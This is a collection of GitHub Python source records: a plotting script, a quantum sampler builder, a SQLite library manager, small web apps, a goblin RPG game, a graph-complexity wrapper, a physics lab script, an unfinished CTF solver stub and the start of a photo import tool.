cbar.set_label(\"\\\\text{Activity}\")\n # ax[0,1].set_xlabel(\"$\\mu$\", fontsize=30)\n ax[0,1].set_ylabel(\"$r_{\\mathrm{sig}}$\", fontsize=30)\n ax[0,1].axhline(0.08, ls='--', lw=3, color='w')\n\n # Uses community FP\n listMus_listTrials_listResults = listRatios_listMus_listTrials_listResults[ratio_index]\n arrayMus_arrayTrials_arrayResults = np.array(listMus_listTrials_listResults)\n arrayMus_arrayTrials_com1activity = arrayMus_arrayTrials_arrayResults[:,:,13]\n arrayMus_arrayTrials_com2activity = arrayMus_arrayTrials_arrayResults[:,:,14]\n\n list_com1means = []\n list_com1CIhigh = []\n list_com1CIlow = []\n for trials in arrayMus_arrayTrials_com1activity:\n trials /= 500.# divide by cirtuit size\n sem = stats.sem(trials)\n list_com1means.append(np.mean(trials))\n list_com1CIhigh.append(sem)\n list_com1CIlow.append(sem)\n\n list_com2means = []\n list_com2CIhigh = []\n list_com2CIlow = []\n for trials in arrayMus_arrayTrials_com2activity:\n trials /= 500.# divide by cirtuit size\n sem = stats.sem(trials)\n list_com2means.append(np.mean(trials))\n list_com2CIhigh.append(sem)\n list_com2CIlow.append(sem)\n\n signal_ratio = list_signal_ratio[ratio_index]\n\n # [0,0]\n ax[0,0].errorbar(list_mus, list_com1means, yerr=[list_com1CIlow, list_com1CIhigh], marker='o', ls='-', color='blue', label='Seed community')\n ax[0,0].errorbar(list_mus, list_com2means, yerr=[list_com2CIlow, list_com2CIhigh], marker='o', ls='-', color='red', label='Neighboring Community')\n ax[0,0].set_ylim(0)\n ax[0,0].set_ylabel('\\\\text{Activity}')\n # ax[0,0].set_xlabel('$\\mu$', fontsize=30)\n ax[0,0].legend(loc=\"upper right\",frameon=False)\n\n # [1,1]\n list_mus, list_signal_ratio, listRatios_listMus_listMeanResults, \\\n listRatios_listMus_listTrials_listResults = utilities.load_object(\"paper_50com_example_no_target_com_trials100_simresults_vs_mu_vs_signal.pyobj\")\n # Uses net FP index=12\n num_com = int(listRatios_listMus_listMeanResults[0][0][2])\n X, Y = np.meshgrid(list_mus, list_signal_ratio)\n Z = np.zeros(shape=(len(list_signal_ratio), len(list_mus)))\n for i, listMus_listMeanResults in enumerate(listRatios_listMus_listMeanResults):\n for j, listMeanResults in enumerate(listMus_listMeanResults):\n Z[i,j] = listMeanResults[4+num_com+1+num_com+1+num_com] /500.# divide by cirtuit size\n levels = np.linspace(0,1,11)\n if levels==None:\n cont=ax[1,1].contourf(X, Y, Z, cmap=cm.magma)\n else:\n cont=ax[1,1].contourf(X, Y, Z, cmap=cm.magma, levels=levels)\n # cbar = f.colorbar(cont,ax=ax[1,1])\n # cbar.set_label(\"\\\\text{Activity}\")\n ax[1,1].set_xlabel(\"$\\mu$\", fontsize=30)\n ax[1,1].set_ylabel(\"$r_{\\mathrm{sig}}$\", fontsize=30)\n\n # Uses community FP\n ratio_index = 8 #5#6#8 #14\n\n\n # [1,0]\n ratio_index = 9\n val = np.linspace(0.05,0.3,20)[ratio_index]\n ax[1,1].axhline(val, ls='--', lw=3, color='white')#teal\n listMus_listTrials_listResults = listRatios_listMus_listTrials_listResults[ratio_index]\n arrayMus_arrayTrials_arrayResults = np.array(listMus_listTrials_listResults)\n arrayMus_arrayTrials_com1activity = arrayMus_arrayTrials_arrayResults[:,:,4+num_com+1+num_com+1+num_com] / 500.\n list_means = []\n list_CIhigh = []\n list_CIlow = []\n for trials in arrayMus_arrayTrials_com1activity:\n sem = stats.sem(trials)\n list_means.append(np.mean(trials))\n list_CIhigh.append(sem)\n list_CIlow.append(sem)\n ax[1,0].errorbar(list_mus, list_means, yerr=[list_CIlow, list_CIhigh], color='black',\n marker='o', ls='-', label=\"$r_{\\mathrm{sig}}\" + \"={v}$\".format(v=str(round(val,2))))\n\n # ratio_index = 13\n # val = np.linspace(0.05,0.3,20)[ratio_index]\n # ax[1,1].axhline(val, ls='--', lw=3, color='olive')\n # listMus_listTrials_listResults = listRatios_listMus_listTrials_listResults[ratio_index]\n # arrayMus_arrayTrials_arrayResults = np.array(listMus_listTrials_listResults)\n # arrayMus_arrayTrials_com1activity = arrayMus_arrayTrials_arrayResults[:,:,4+num_com+1+num_com+1+num_com] / 500.\n # list_means = []\n # list_CIhigh = []\n # list_CIlow = []\n # for trials in arrayMus_arrayTrials_com1activity:\n # sem = stats.sem(trials)\n # list_means.append(np.mean(trials))\n # list_CIhigh.append(sem)\n # list_CIlow.append(sem)\n # ax[1,0].errorbar(list_mus, list_means, yerr=[list_CIlow, list_CIhigh], color='olive',\n # marker='None', ls='--', label=\"$r_{\\mathrm{sig}}\" + \"={v}$\".format(v=str(round(val,2))))\n\n # ratio_index = 16\n # val = np.linspace(0.05,0.3,20)[ratio_index]\n # ax[1,1].axhline(val, ls=':', lw=3, color='olive')\n # listMus_listTrials_listResults = listRatios_listMus_listTrials_listResults[ratio_index]\n # arrayMus_arrayTrials_arrayResults = np.array(listMus_listTrials_listResults)\n # arrayMus_arrayTrials_com1activity = arrayMus_arrayTrials_arrayResults[:,:,4+num_com+1+num_com+1+num_com] / 500.\n # list_means = []\n # list_CIhigh = []\n # list_CIlow = []\n # for trials in arrayMus_arrayTrials_com1activity:\n # sem = stats.sem(trials)\n # list_means.append(np.mean(trials))\n # list_CIhigh.append(sem)\n # list_CIlow.append(sem)\n # ax[1,0].errorbar(list_mus, list_means, yerr=[list_CIlow, list_CIhigh],\n # marker='None', ls=':', color='olive',\n # label=\"$r_{\\mathrm{sig}}\" + \"={v}$\".format(v=str(round(val,2))))\n\n ax[1,0].ticklabel_format(axis='y', style='sci', scilimits=(-2,2))\n ax[1,0].set_ylim(0)\n ax[1,0].set_ylabel('\\\\text{Activity}')\n ax[1,0].set_xlabel('$\\mu$', fontsize=30)\n ax[1,0].legend(loc=\"upper left\",frameon=False)\n\n ax[0,0].text(-0.21, 1.0, '(b)', fontsize=25, fontname='Myriad Pro', transform = ax[0,0].transAxes) #[0,0]\n ax[0,1].text(1.05, 1.0, '(c)', fontsize=25, fontname='Myriad Pro', transform = ax[0,0].transAxes) #[0,1]\n ax[1,0].text(-0.21, -0.09, '(e)', fontsize=25, fontname='Myriad Pro', transform = ax[0,0].transAxes) #[1,0]\n ax[1,1].text(1.05, -0.09, '(f)', fontsize=25, fontname='Myriad Pro', transform = ax[0,0].transAxes) #[1,1]\n\n plt.tight_layout(w_pad=0.0, h_pad=0.0)\n f.subplots_adjust(right=0.89, wspace=0.325, hspace=0.08)\n cax = f.add_axes([0.91, 0.105, 0.02, 0.85])\n cbar = f.colorbar(cont, cax=cax)\n cbar.set_label(\"\\\\text{Activity}\")\n\n\n plt.setp([a.get_xticklabels() for a in ax[0, :]], visible=False)\n # plt.setp([a.get_yticklabels() for a in ax[:, 1]], visible=False)\n\n plt.savefig(\"optimality_plots.svg\", dpi=900)\n plt.close()\n plt.clf()","repo_name":"neural-network-optimal-modularity/esn-optmod","sub_path":"paper_optimality_plots.py","file_name":"paper_optimality_plots.py","file_ext":"py","file_size_in_byte":8413,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"37940410273","text":"import os\nimport subprocess\n\ndef filterSpace(string):\n '''\n Simple filter function to remove \"\" terms from list.\n Used when reading lines from files.\n\n :param string: String element from list.\n :int string: str\n\n :returns: False is string is empty. True otherwise.\n :rtype: boolean\n '''\n if string == \"\":\n return False\n else:\n return True\n\ndef runSampling(numSamples,N,storeAmplitudes,showMakeOutput = False,showCCOutput = True):\n '''\n Makes and runs a c++ file for generating random samples\n of a quantum system. User also has the options of storing\n the amplitude coefficients and exact expectation values of\n observables.\n\n :param numSamples: Number of samples to generate.\n :type numSamples: int\n :param N: Number of qubits in the quantum system.\n :type N: int\n :param storeAmplitudes: Specify whether or not to store amplitudes.\n :type storeAmplitudes: bool\n :param showMakeOutput: Show output from running makefile.\n Default is False.\n :type showMakeOutput: bool\n :param showCCOutput: Show output from running C++ ITensor file.\n Default is True.\n :type showCCOutput: bool\n\n :returns: None\n '''\n\n if N > 20 and storeAmplitudes:\n print (\"WARNING: Storing the amplitudes for a system size of 20 \" +\n \"or greater may require excessive memory. To avoid storing\" +\n \"the amplitudes, set storeAmplitudes to False.\")\n\n __location__ = os.path.realpath(\n os.path.join(os.getcwd(), os.path.dirname(__file__)))\n\n # Store the lines from the template c++ file\n template = open(os.path.join(__location__, \"CppCode/Template/Heisenberg.cc\"));\n templateLines = template.readlines()\n template.close()\n\n # Generate a new file with the required adjustments\n newFile = open(os.path.join(__location__, \"CppCode/Heisenberg.cc\"),\"w\");\n\n # This loop will rewrite the template lines to the new c++ file\n # while adjusting the lines as necessary based on the specified params\n for line in templateLines:\n los = list(filter(filterSpace,line.split(\" \")))\n\n # Line adjustment for number of samples.\n if los[0] == \"int\" and los[1] == \"numSamples\":\n newFile.write(\" int numSamples = {0};\\n\".format(numSamples))\n\n # Line adjustment for number of qubits\n elif los[0] == \"const\" and los[2] == \"N\":\n newFile.write(\" const int N = {0};\\n\".format(N))\n\n # Line adjustment for storing amplitudes\n elif los[0] == \"bool\" and los[1] == \"storeAmplitudes\":\n amps = str(storeAmplitudes).lower()\n newFile.write(\" bool storeAmplitudes = {0};\\n\".format(amps))\n\n # Line adjustment for obtaining amplitudes from MPS\n elif los[0] == \"amplitude\" and los[1] == \"=\":\n newFile.write(\" \" * 5 + \"amplitude = R.real(spinIndices\" +\n \"[{0}](bitset(i)[0]+1),\\n\".format(N-1))\n for i in range(1,N-1):\n newFile.write(\" \" * 24 + \"spinIndices\" +\n \"[{0}](bitset(i)[{1}]+1),\\n\".format(N-1-i,i))\n newFile.write(\" \" * 24 + \"spinIndices\" +\n \"[0](bitset(i)[{0}]+1));\\n\".format(N-1))\n\n # Skip all subsequent amplitude coefficient lines\n elif \"bitset\" in los[0]:\n pass\n\n # If no adjustment required then write the same line\n else:\n newFile.write(line)\n\n # Close our file and execute the new c++ script\n newFile.close()\n cppCodePath = os.path.join(__location__, \"CppCode\")\n p = subprocess.Popen([\"chmod\",\"a+x\",\"Heisenberg\"], cwd=cppCodePath)\n p.wait()\n if showMakeOutput:\n p = subprocess.Popen([\"make\"], cwd=cppCodePath)\n p.wait()\n else:\n FNULL = open(os.devnull,\"w\")\n p = subprocess.Popen([\"make\"], cwd=cppCodePath, stdout=FNULL,stderr=subprocess.STDOUT)\n p.wait()\n if showCCOutput:\n p = subprocess.Popen([\"./Heisenberg\"], cwd=cppCodePath)\n p.wait()\n else:\n FNULL = open(os.devnull,\"w\")\n p = subprocess.Popen([\"./Heisenberg\"], cwd=cppCodePath, stdout=FNULL,stderr=subprocess.STDOUT)\n p.wait()\n","repo_name":"MelkoCollective/SourKRAUT","sub_path":"sourkraut/sampler.py","file_name":"sampler.py","file_ext":"py","file_size_in_byte":4235,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"71359726013","text":"import sqlite3\nimport time\n\nclass Kitap():\n def __init__(self,isim,yazar,yayinevi,tur,baski):\n self.isim = isim\n self.yazar = yazar\n self.yayinevi = yayinevi\n self.tur = tur\n self.baski = baski\n\n def __str__(self):\n return '''\n Kitap İsmi : {}\n Yazar : {}\n Yayınevi : {}\n Tür : {}\n Baskı : {} \n '''.format(self.isim,self.yazar,self.yayinevi,self.tur,self.baski)\n\nclass Kutuphane():\n def __init__(self):\n self.baglanti_olustur()\n\n def baglanti_olustur(self):\n self.baglanti = sqlite3.connect(\"kutuphane.db\")\n self.cursor = self.baglanti.cursor()\n\n sorgu = \"Create Table If not exists kitaplar (İsim TEXT,Yazar TEXT,Yayınevi TEXT,Tur TEXT,Baskı INT)\"\n\n self.cursor.execute(sorgu)\n self.baglanti.commit()\n\n def baglanti_kapat(self):\n self.baglanti.close()\n\n def kitaplari_goster(self):\n sorgu = \"SELECT * FROM kitaplar\"\n self.cursor.execute(sorgu)\n\n kitaplar = self.cursor.fetchall()\n\n if len(kitaplar) == 0 :\n print(\"Kütüphanenizde hiç kitap bulunmuyor !!!\")\n else:\n for i in kitaplar:\n kitap = Kitap(i[0],i[1],i[2],i[3],i[4],) # Kitap sınıfını çağırıyoruz\n print(kitap)\n\n def kitap_sorgula(self,isim):\n sorgu = \"SELECT * FROM kitaplar WHERE İsim = ?\"\n\n self.cursor.execute(sorgu,(isim,))\n\n kitaplar = self.cursor.fetchall()\n\n if (len(kitaplar) == 0):\n print(\"Böyle bir kitap bulunmuyor !!!\")\n else:\n kitap = Kitap(kitaplar[0][0],kitaplar[0][1],kitaplar[0][2],kitaplar[0][3],kitaplar[0][4])\n print(kitap)\n\n def kitap_ekle(self,kitap):\n sorgu = \"INSERT INTO kitaplar VALUES (?,?,?,?,?)\"\n\n self.cursor.execute(sorgu,(kitap.isim,kitap.yazar,kitap.yayinevi,kitap.tur,kitap.baski))\n\n self.baglanti.commit()\n\n def kitap_sil(self,isim):\n sorgu = \"DELETE FROM kitaplar WHERE İsim = ?\"\n\n self.cursor.execute(sorgu,(isim,))\n\n self.baglanti.commit()\n\n def baski_yukselt(self,isim): # Baskı sayısını 1 arttırır\n sorgu = \"SELECT * FROM kitaplar WHERE İsim = ?\"\n\n self.cursor.execute(sorgu,(isim,))\n\n kitaplar = self.cursor.fetchall()\n\n if len(kitaplar) == 0 :\n print(\"Böyle bir kitap bulunmuyor !!!\")\n else:\n baski = kitaplar[0][4]\n baski += 1\n\n sorgu_guncelle = \"UPDATE kitaplar SET Baskı = ? WHERE İsim = ?\"\n\n self.cursor.execute(sorgu_guncelle,(baski,isim,))\n\n self.baglanti.commit()","repo_name":"Cuneytyildiz/python-ornekler","sub_path":"Veri Tabanı İşlemleri/kutuphane_sınıfı.py","file_name":"kutuphane_sınıfı.py","file_ext":"py","file_size_in_byte":2670,"program_lang":"python","lang":"tr","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"39658768884","text":"#!/usr/bin/env python3\n# _*_ coding:utf-8 _*_\n\n\n__author__ = 'Sheldon Zhang'\n\n'''\nFirst Day:\nI just want to learn more aboout python.\nTo be continued\n'''\n\nimport logging;logging.basicConfig(level=logging.INFO)\n\nimport asyncio,os,json,time\nfrom datetime import datetime\n\nfrom aiohttp import web\n\ndef index(host):\n\treturn web.Reponse(body=b'

    awesome

    ')\n\t\n@asyncio.coroutine\ndef init(loop):\n\tapp = web.Application(loop=loop)\n\tapp.router.add_route('GET','/',index)\n\tsrv = yield from loop.create_server(app.make_handler(),'127.0.0.1',9000)\n\tlogging.info('server started at http://127.0.0.1:9000')\n\treturn srv\n\nloop = asyncio.get_event_loop()\nloop.run_until_complete(init(loop))\nloop.run_forever\n","repo_name":"Sheldonwly1996/awesome-python-webapp","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7439081439","text":"import recources\nfrom recources import Character, Goblin\nfrom random import randint, shuffle, choice\n\ndef fight(players : list, enemies : list):\n\n partisipants = players + enemies #\n shuffle(partisipants)\n\n for char in partisipants:\n target = \"\"\n # Is it a player or an npc\n if char in players: \n target = choice(enemies)\n else:\n target = choice(players)\n\n target.take_damage(char.get_attack())\n\n if target.get_health() == 0:\n print(f\"{target.get_name()} has died\")\n if type(target) == Goblin:\n enemies.remove(target)\n else:\n players.remove(target)\n partisipants.remove(target)\n\n else:\n print(f\"{target.get_name()} has {target.get_health()} hp remaining.\")\n\n if len(enemies) == 0 or len(players) == 0:\n break\n\n\n\n\nif __name__ == \"__main__\":\n enemies = []\n players = []\n emy = Character(\"Emy\", 20, 5, 2)\n nick = Character(\"Nick\", 15, 2, 1)\n players.append(emy)\n players.append(nick)\n\n enemies.append(Goblin(10, 3, 2, 1))\n enemies.append(Goblin(15, 2, 1, 2))\n enemies.append(Goblin(12, 3, 1, 3))\n\n round = 1\n while len(enemies) != 0 and len(players) != 0:\n print(f\"ROUND {round}, FIGHT!\")\n fight(players, enemies)\n print()\n round +=1 \n\n if len(enemies) == 0:\n print(\"The players won FATALITY!!!!\")\n elif len(players) == 0:\n print(\"The goblins win, u loose\")\n\n\n","repo_name":"Olstrike/RPG-spel","sub_path":"sak/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19051324484","text":"# ComplexityWrapper.py\n# Conan Veitch, 2020-05-28\n#\n# Description: Wrapper for Graph complexity functions.\n# Legend: vdi - vertex degree information\n# fisd - frequency information shannon diversity\n# odisd - orbit distribution information shannon diversity\n# nlc - node local complexity\n# cB - complexity-B\n# gdc - graph-distance complexity\n#\n\nimport graffal.complexity.ComplexityMeasurer as comeas\nimport graffal.grafflet_gen.GraffletWrapper as gwrap\nimport networkx as nx\nimport textwrap as tw\n\n\nclass ComplexityWrapper:\n node_richness: int\n\n def __init__(self, graff, walk_length=3, grafflet_nodes=5):\n self.G = graff\n self.walk = walk_length\n self.gwrapper = gwrap.GraphletWrapper(self.G.get_graff(), grafflet_nodes)\n nx.set_node_attributes(self.G.get_graff(), self.gwrapper.orbit_counts, 'orbit_count')\n self.edge_list = self.gwrapper.get_grafflet_edges()\n self.total_grafflets = self.gwrapper.grafflet_count\n self.graphlet_frequency = self.gwrapper.get_grafflet_freq()\n # self.node_orbits = nx.get_node_attributes(self.G.get_graff(), 'orbit count')\n self.node_orbits = self.G.get_nodes('orbit_count')\n self.orp = comeas.node_orbit_relative_proportion(self.node_orbits)\n self.total_walk_count = comeas.total_walk_count(self.G.get_adj_matrix(), walk_length)\n self.vdi_measure = comeas.vertex_degree_info_measure(self.G.get_graff())\n self.fisd_measure = comeas.frequency_info_sdm(self.gwrapper.get_grafflet_freq())\n self.odisd_measure = comeas.orbit_distribution_info_sdm(self.G.get_nodes('orbit_count'))\n self.node_richness = comeas.node_richness_measure(self.node_orbits)\n # nx.set_node_attributes(self.G.get_graff(), self.gwrapper.orbit_counts, 'node_complexity')\n lcm = comeas.local_complexity_measure(self.G.get_nodes('orbit_count'))\n self.G.set_nodes(lcm, 'node_complexity')\n self.nlc_measure = self.G.get_nodes('node_complexity')\n self.cB_measure = comeas.complexity_b(self.G.get_graff())\n self.gdc_measure = comeas.graph_distance_complexity(self.G.get_graff())\n self.node_complexity = self.G.set_nodes(self.nlc_measure, 'node_complexity')\n self.proportional_richness = comeas.total_richness_proportion(self.G.get_nodes('orbit_count'))\n self.node_average_richness = comeas.node_average_richness(self.node_orbits, self.G.get_graff(), self.get_node_richness(),1)\n #nx.set_node_attributes(self.G.get_graff),\n\n def get_total_walk_count(self):\n return self.total_walk_count\n\n def get_grafflet_edge_list(self):\n return self.edge_list\n\n def get_total_graphlets(self):\n return self.total_grafflets\n\n def get_graphlet_frequency(self):\n return self.graphlet_frequency\n\n def get_node_orbits(self):\n return self.node_orbits\n\n def get_vdi_measure(self):\n return self.vdi_measure\n\n def get_fisd_measure(self):\n return self.fisd_measure\n\n def get_odisd_measure(self):\n return self.odisd_measure\n\n def get_nlc_measure(self):\n return self.nlc_measure\n\n def get_cB_measure(self):\n return self.cB_measure\n\n def get_gdc_measure(self):\n return self.gdc_measure\n\n def get_node_richness(self):\n return self.node_richness\n\n def get_node_orp(self):\n return self.orp\n\n def get_global_richness_proportion(self):\n return self.proportional_richness\n\n def get_node_average_richness(self):\n return self.node_average_richness\n\n def print_edgelist(self):\n print(\"Graphlets edge list:\")\n print(*self.edge_list, sep=\"\\n\")\n\n def print_total_graphlets(self):\n rang = len(self.total_grafflets)\n for i in range(2, rang + 2):\n print(\"There are:\", self.total_grafflets[i], \"total\", i, \"node graphlets.\")\n\n def print_graphlet_frequency(self):\n for node, freq in self.graphlet_frequency.items():\n if freq > 0:\n print(\"Graphlet\", node, \"has frequency:\", freq)\n\n def print_node_orbits(self):\n for node in self.G.get_graff():\n # print(self.node_orbits)\n print(\"Node\", node, \"has orbits:\", self.node_orbits[node])\n\n def print_vdi_measure(self):\n print(\"Vertex Degree Information measure is: \", self.vdi_measure)\n\n def print_fisd_measure(self):\n print(\"Frequency Information measure is: \", self.fisd_measure)\n\n def print_odisd_measure(self):\n print(\"Orbit Distribution Information measure is \", self.odisd_measure)\n\n def print_nlc_measure(self):\n for node in self.G.get_nodes('node_complexity'):\n print(\"Local Complexity Measure of node\", node, \"is:\", self.nlc_measure[node])\n\n def print_cB_measure(self):\n print(\"Complexity B is:\", self.cB_measure)\n\n def print_gdc_measure(self):\n print(\"Graph Distance Complexity is:\", self.gdc_measure)\n\n def print_total_walk_count(self):\n print(\"The Total Walk Count of length \", self.walk, \"or less is:\", self.total_walk_count)\n\n def print_complexity_suite(self):\n # self.print_edgelist()\n self.print_total_graphlets()\n self.print_graphlet_frequency()\n self.print_total_walk_count()\n self.print_node_orbits()\n self.print_vdi_measure()\n self.print_cB_measure()\n self.print_gdc_measure()\n self.print_fisd_measure()\n self.print_odisd_measure()\n self.print_nlc_measure()\n\n def write_complexity_suite_file(self, file_name=\"temp\"):\n fname = \"../graffal_tests/saved/\"+file_name+\"_complexity_suite.txt\"\n f = open(fname, \"w+\")\n\n f.write(\"The edge list for {} is:\\n\".format(file_name))\n edgelist = list(self.G.get_edges())\n count = 0\n for n in range(0, len(edgelist)):\n if count == 0:\n f.write(\"\\n\")\n f.write(('({}, {}), '.format(edgelist[n][0], edgelist[n][1])))\n count = (count +1) % 5\n f.write(\"\\n\\n\\n\")\n\n f.write(\"Total i-node graphlets:\")\n f.write(\"\\n\\n\")\n rang = len(self.total_grafflets)\n for i in range(2, rang + 2):\n f.write(\"There are: {} total {}-node graphlets.\\n\".format(self.total_grafflets[i], i))\n f.write(\"\\n\\n\")\n\n f.write(\"Graphlet Frequency:\\n\")\n f.write(\"\\n\")\n for node, freq in self.graphlet_frequency.items():\n if freq > 0:\n f.write(\"Graphlet {} has frequency {}.\\n\".format(node, freq))\n f.write(\"\\n\\n\")\n\n f.write(\"Node Orbits:\\n\")\n for node in self.G.get_graff():\n count = 0\n f.write(\"\\nNode {} takes part in {} orbits: \".format(node, len(self.node_orbits[node])))\n for i in self.node_orbits[node]:\n if count == 0:\n f.write(\"\\n\")\n f.write(\"{} \".format(i))\n count = (count + 1) % 20\n f.write(\"\\n\\n\\n\")\n\n f.write(\"Node Richness:\\n\\n\")\n for node in self.get_node_richness():\n f.write(\"The richness of node {} is {}.\\n\".format(node, self.get_node_richness()[node]))\n f.write(\"\\n\\n\")\n\n f.write(\"Node Richness:\\n\\n\")\n for node in self.get_node_average_richness():\n f.write(\"The average richness of node {} with its first order neighbours is {}.\\n\".format(node,\n self.get_node_average_richness()[node]))\n f.write(\"\\n\\n\")\n\n f.write(\"Node Diversity:\\n\\n\")\n for node in self.get_nlc_measure():\n f.write(\"The diversity of node {} is {}.\\n\".format(node, self.get_nlc_measure()[node]))\n f.write(\"\\n\\n\")\n\n f.write(\"Global Richness Proportion:\\n\\n\")\n for x in self.get_global_richness_proportion():\n f.write(\"The number of nodes with a richness of {} is {}.\\n\".format(x, self.get_global_richness_proportion()[x]))\n f.write(\"\\n\\n\")\n\n f.write(\"The Orbit Distribution Information measure of {} is {}.\".format(file_name, self.get_odisd_measure()))\n f.write(\"\\n\\n\\n\")\n\n f.write(\"The Vertex Degree Information measure of {} is {}.\".format(file_name, self.get_vdi_measure()))\n f.write(\"\\n\\n\\n\")\n\n f.write(\"The Frequency Degree Information measure of {} is {}.\".format(file_name, self.get_fisd_measure()))\n f.write(\"\\n\\n\\n\")\n\n f.write(\"The Complexity B of {} is {}\".format(file_name, self.get_cB_measure()))\n f.write(\"\\n\\n\\n\")\n\n f.write(\"The Graph-Distance Complexity of {} is {}.\".format(file_name, self.get_gdc_measure()))\n f.write(\"\\n\\n\\n\")\n\n f.write(\"The Total Walk Count of length {} or less is {}.\".format(self.walk, self.get_total_walk_count()))\n f.write(\"\\n\\n\\n\")\n","repo_name":"Cveitch/graph_theory_base_code","sub_path":"graffal/complexity/ComplexityWrapper.py","file_name":"ComplexityWrapper.py","file_ext":"py","file_size_in_byte":8870,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"37502610076","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Oct 1 15:50:50 2020\r\n\r\n@author: annta\r\n\"\"\"\r\nimport scipy.integrate as integrate\r\nimport numpy as np\r\nimport math as math\r\nimport matplotlib.pyplot as plt \r\nfrom gaussx import gaussxwab\r\ndef E(n, x):\r\n def psi_x(n, x):\r\n def psi(n,x):\r\n def H(n):\r\n if n == 0:\r\n return 1\r\n elif n == 1:\r\n return 2*x\r\n else:\r\n return 2 * x * H(n-1) - 2 * (n-1) * H(n-2)\r\n return (((np.exp((-x**2)/2)) *H(n)) / np.sqrt((2**n) * (math.factorial(n)) * np.sqrt(math.pi)))\r\n return (x**2)*(abs(psi(n, x)))**2\r\n \r\n N = 100\r\n z = 15\r\n a = -np.inf\r\n b = np.inf\r\n x,w = gaussxwab(N,a,b)\r\n s1 = 0.0\r\n \r\n for k in range(N):\r\n for i in range(z):\r\n s1 += w[k]*psi_x(z, x[k])\r\n \r\n print(s1)\r\n \r\n def psi_p(n, x):\r\n def xd_psi(n, x):\r\n def d_H(n):\r\n if n == 0:\r\n return 0\r\n elif n == 1:\r\n return 2\r\n else:\r\n return -x * d_H(x, n-1) + 2 * (n-1) * d_H(x, n-2)\r\n d_psi = (((np.exp(-(x**2)/2))* d_H(n,x)) / np.sqrt((2**n) * (math.factorial(n)) * np.sqrt(math.pi))) \r\n return (abs(d_psi))\r\n N = 100\r\n z = 15\r\n a = -np.inf\r\n b = np.inf\r\n x,w = gaussxwab(N,a,b)\r\n s2 = 0.0\r\n \r\n for k in range(N):\r\n for i in range(z):\r\n s2 += w[k]*psi_p(z, x[k])\r\n \r\n print(s2)\r\n return (psi_x + psi_p)\r\nprint (E)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"maxsours/phy407","sub_path":"lab3/lab 3 Q2 C.py","file_name":"lab 3 Q2 C.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7279155563","text":"from .ServicerService import ServicerService \n# from .dtos import loginDto,registerDto\nfrom flask import request,make_response,jsonify\nimport json\nclass ServicerController:\n def __init__(self):\n self.ServicerService = ServicerService()\n \n\n ## 待辦 : 可以做一個 緩存 存取登入的service 是誰 ,然後當他進行任何操作時,都要先核對一次他是不是 service ,確保資料不會被駭入\n def getUserinfo(self): \n try:\n print(\"--1--\")\n user_info_list = self.ServicerService.getuserinfo()\n user_info_json = json.dumps(user_info_list)\n response = make_response(jsonify({\"success\":True,\"user_info\":user_info_json}))\n response.headers[\"Content-Type\"] = \"application/json\"\n return response\n except Exception as msg:\n print(msg)\n return make_response(\n jsonify(\n {\n \"success\":\"false\",\n \"message\":str(msg)\n }\n ),\n 400\n )\n\n # def login(self):\n # try:\n # if request.is_json:\n # params = request.get_json()\n # userName = params.get('username', None)\n # passWord = params.get('password', None)\n # print('username : '+str(userName))\n # print('passWord : '+str(passWord))\n # dto = loginDto(userName , passWord)\n # else:\n # raise ValueError('data type error') \n\n # result = self.UserService.login(dto)\n # return make_response(\n # jsonify(\n # {\n # \"success\":\"true\",\n # \"message\":str(result),\n # \"code\": result\n # }\n # )\n # )\n # except Exception as msg:\n # print(msg)\n # return make_response(\n # jsonify(\n # {\n # \"success\":\"false\",\n # \"message\":str(msg)\n # }\n # ),\n # 400\n # )\n\n # def create(self):\n # try:\n # if request.is_json:\n # data = request.get_json()\n # fullname = data.get(\"fullname\")\n # phone = data.get(\"phone\")\n # email = data.get(\"email\")\n # username = data.get(\"username\")\n # password = data.get(\"password\")\n # gender = data.get(\"gender\")\n # dto = registerDto(fullname , phone , email , username , password , gender)\n # else:\n # raise ValueError('data type error') \n\n # result = self.UserService.create(dto)\n \n # return make_response(\n # jsonify(\n # {\n # \"success\":result,\n # \"message\":str(fullname)+\" success create\"\n # }\n # ),\n # )\n # except Exception as msg:\n # return make_response(\n # jsonify(\n # {\n # \"success\":\"false\",\n # \"message\":str(msg)\n # }\n # ),\n # 400\n # )\n","repo_name":"ga344833/stored-value-website","sub_path":"flask/Modules/Servicer/ServicerController.py","file_name":"ServicerController.py","file_ext":"py","file_size_in_byte":3425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"86322090603","text":"import requests\nimport string\n\nURL = 'htttp://web-search.chal.seccon.jp/'\nchars = string.ascii_uppercase + string.ascii_lowercase + string.digits\n\n\ndef get_length():\n ng = -1\n ok = 1024\n\n while ok - ng > 1:\n mid = (ok + ng) // 2\n \n","repo_name":"task4233/contest","sub_path":"ctf/seccon/web/web_search/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"3068864270","text":"#!/usr/bin/env python3\n#\n# RAW Import and Sort Utility\n#\n\nimport os\nimport sys\nimport shutil\nfrom argparse import ArgumentParser\nfrom datetime import datetime\nfrom typing import List, Tuple\n\n# for GObject Introspection\nimport gi\n\n# open GExiv2 library via GObject Introspection\ngi.require_version('GExiv2', '0.10')\nfrom gi.repository import GExiv2\n\nRAW_TYPES: List = [\n \".arw\", # SONY\n \".nef\", # NIKON\n \".cr2\", # CANON\n \".raf\", # FUJIFILM\n \".orf\", # OLYMPUS\n \".dng\" # LEICA - DIGITAL NEGATIVE\n ]\n\nRASTER_TYPES: List = [\n 